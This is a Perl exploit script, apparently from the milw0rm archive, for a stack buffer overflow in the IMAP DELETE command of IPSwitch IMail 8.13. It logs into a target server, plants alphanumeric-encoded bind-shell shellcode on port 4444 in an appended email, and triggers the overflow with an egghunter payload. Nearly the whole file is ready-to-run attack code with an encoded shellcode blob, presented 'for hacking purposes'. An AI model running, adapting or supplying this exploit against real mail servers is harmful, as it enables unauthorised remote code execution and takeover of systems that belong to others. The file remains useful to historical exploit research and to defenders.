92 lines
No EOL
4.1 KiB
Perl
Executable file
92 lines
No EOL
4.1 KiB
Perl
Executable file
#!/usr/bin/perl -w
|
|
###################################
|
|
#
|
|
# IPSwitch-IMail-8.13-DELETE
|
|
#
|
|
# Discovered by : Muts
|
|
# Coded by : Zatlander
|
|
# WWW.WHITEHAT.CO.IL
|
|
#
|
|
##################################
|
|
#
|
|
# Plain vanilla stack overflow in the DELETE command
|
|
# Restrictions:
|
|
# - Need valid authentication credentials
|
|
# - Input buffer only allows characters between x20 -> x7e
|
|
#
|
|
# Credits:
|
|
# - http://www.metasploit.org - HD Moore for the metasploit shellcode
|
|
# - http://www.edup.tudelft.nl/~bjwever/menu.html - skylined for the ALPHA ascii shellcode generator
|
|
# - http://www.hick.org - for the syscall egghunt code in the paper "Understanding Windows Shellcode"
|
|
#
|
|
##################################
|
|
|
|
use IO::Socket;
|
|
use Getopt::Std;
|
|
use Mail::IMAPClient;
|
|
|
|
print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";
|
|
print "C0d3d by Zatlander\n";
|
|
print "Discovered by Muts\n";
|
|
print "WWW.WHITEHAT.CO.IL\n";
|
|
print "For hacking purposes only!!!\n\n";
|
|
|
|
# Find shellcode with signature "w00tw00t"; start from esp
|
|
# from 0 -> $egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH2a3PLMvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA";
|
|
$egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PLMtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";
|
|
|
|
# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
|
|
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGnkbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvahGZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oRuFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGyjDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJKOKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";
|
|
|
|
getopts("h:u:p:", \%args);
|
|
|
|
if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {
|
|
print "Usage: $0 -h [host] -u [username] -p [password]\n";
|
|
exit;}
|
|
|
|
$usr = $args{u};
|
|
$pwd = $args{p};
|
|
$host = $args{h};
|
|
|
|
# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)
|
|
$jmp21 = "r!s!";
|
|
|
|
# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address
|
|
##########################################################################
|
|
# This should hopefully be the only version dependent variable here.
|
|
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
|
|
##########################################################################
|
|
$calledx8 = "jR!i";
|
|
|
|
# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)
|
|
$asciieh = "aAA" . $egghunter;
|
|
$asciisc = "w00tw00t" . $shellcode;
|
|
$email =
|
|
"From: \"The guy hacking you\" <a\@b.com>\r\n" .
|
|
"To: \"Poor You\" <b\@c.com>\r\n" .
|
|
"Subject: $asciisc\r\n" .
|
|
"Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" .
|
|
"Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" .
|
|
"Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" .
|
|
"Content-Transfer-Encoding: 7bit\r\n" .
|
|
"\r\n" .
|
|
$asciisc;
|
|
|
|
$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n";
|
|
|
|
print "Login in to $host as $usr/$pwd\n";
|
|
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or die "Cannot connect: $@";
|
|
print "count: " . $imap->message_count("Inbox") . "\n";
|
|
print "Sending EGG\n";
|
|
$imap->select("Inbox") or die "Could not select: $@\n";
|
|
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";
|
|
$msg = $imap->message_string($uid) or die "Cannot get message: $@";
|
|
#$msg = $imap->body_string($uid) or die "Cannot get message: $@";
|
|
#print "retrieving $uid back: $msg\n";
|
|
|
|
print "Overflowing DELETE\n";
|
|
$imap->delete($payload) or die "Cannot delete: $@n";
|
|
|
|
print("Finished...\n");
|
|
|
|
# milw0rm.com [2004-11-12] |